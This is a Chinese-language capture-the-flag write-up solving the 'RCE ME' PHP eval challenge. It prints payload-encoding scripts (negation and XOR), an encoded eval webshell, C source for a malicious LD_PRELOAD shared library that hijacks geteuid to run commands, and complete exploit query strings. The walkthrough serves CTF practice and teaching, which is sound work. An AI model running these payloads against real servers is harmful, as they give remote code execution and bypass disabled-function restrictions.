[极客大挑战 2019]RCE ME-WP
[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
进题源码如上,截图如下

过滤了字母和数字,可以想到无子母绕过,自增,异或,取反,不过长度有了限制,自增固然是不行了
取反脚本:
<?php
$url_encoded_string = "assert";//这里修改自己的payload
echo $url_encoded_string;
$decoded_string = urlencode(~$url_encoded_string);
echo $decoded_string;
?>
异或脚本:(我这个比较低级,如果有高级的可以指导一下)
import urllib.parse
valid = "!@$%^*(){}[];\'\",.<>/?=` "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
print(chr(ord(i) ^ ord(j)), end='')
break
else:
continue
break
tmp1=urllib.parse.quote(tmp1)
tmp2=urllib.parse.quote(tmp2)
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
这里我用的取反:(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%88%D8%A2%D6);
也就是assert(eval($_POST['w']));

蚁剑连接:
可以直接用插件绕过

不过得是linux系统才能用能用那个模板,所以我没用(你们可以尝试以下用kali试试)
利用LD_PRELOAD来劫持执行恶意so文件,因为 LD_PRELOAD允许我们在执行程序之前优先加载动态链接库。利用这个,我们就可以使用自己的函数,同时我们也可以向别人的程序注入恶意程序,从而达到我们的目的。
具体可参考HFCTF[ezphp]
编写我们的C文件,这个文件的作用是
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//执行readflag并将内容重定向到test.php文件中
void payload() {
system("/readflag >> /var/tmp/test.php");
}
//检查是否有动态连接,如果有就删除,没有就结束
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
如果在执行程序时未设置 LD_PRELOAD 环境变量,那么 geteuid 函数将返回0,并不会执行 payload 函数中的操作。
当程序执行到 int geteuid() { ... } 函数时,它首先检查环境变量 LD_PRELOAD 是否存在。
如果 LD_PRELOAD 环境变量不存在(即返回值为 NULL),那么 geteuid 函数会直接返回0,表示用户的有效用户ID为0,geteuid() 函数是一个系统调用,用于获取当前进程的有效用户ID。如果返回值为0,表示当前进程的有效用户ID为root用户;如果返回值为非0,则表示当前进程的有效用户ID不是root用户。这段代码的目的是通过利用 geteuid 函数中的漏洞来执行 payload 函数中的一系列操作,包括读取 /flag 文件的内容并将其写入到 /var/tmp/test.php 文件中。其中,LD_PRELOAD 环境变量的检查是为了绕过某些安全措施,从而执行特权操作。
PS:这道题明显不是root,如果是就不用这样搞了,直接蚁剑查就行。
在这情况下,由于 LD_PRELOAD 环境变量不存在,unsetenv("LD_PRELOAD") 不会执行,而 payload() 函数也不会被调用。因此,程序不会执行 payload 函数中的操作,也就不会执行涉及到读取 /flag 文件内容的命令。
因此,如果未设置 LD_PRELOAD 环境变量,则该程序只会返回0,不会执行任何读取 /flag 文件内容的操作。
函数:
getenv:获取环境变量的值
unsetenv:用来删除一个环境变量
system:定的命令名称或程序名称传给要被命令处理器执行的主机环境
然后用kali的gcc编译成so文件。

然后是php脚本,
<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
主要函数是putenv("LD_PRELOAD=/var/tmp/getflag.so");来把环境变量链接到LD_PRELOAD
mail和error_log用来掩盖修饰。就是占位的
putenv("LD_PRELOAD=/var/tmp/getflag.so");: 这行代码调用了 PHP 的 putenv 函数,用于设置环境变量。具体来说,它将环境变量 LD_PRELOAD 设置为 /var/tmp/getflag.so。在Linux系统中,LD_PRELOAD 环境变量用于指定在运行程序时要加载的共享库。
mail("","","","");: 这行代码调用了 PHP 的 mail 函数,用于发送邮件。在这里,它看起来只是作为一个占位符,因为没有提供实际的收件人、主题和正文内容。
error_log("",1,"","");: 这行代码调用了 PHP 的 error_log 函数,用于将日志信息写入到服务器的错误日志中。在这里,它似乎也只是作为一个占位符,因为第一个参数是空字符串,不会记录任何实际的错误信息。
上传php脚本和恶意so文件

然后,修改传参
?code=${_GET}[_](${_GET}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
前面的进行异或
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
下面是取反,但是我用不成功,不知为什么。
${(~%DB%A0%B8%BA%AB)}[_](${(~%DB%A0%B8%BA%AB)}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
找到那个test.php就行了



浙公网安备 33010602011771号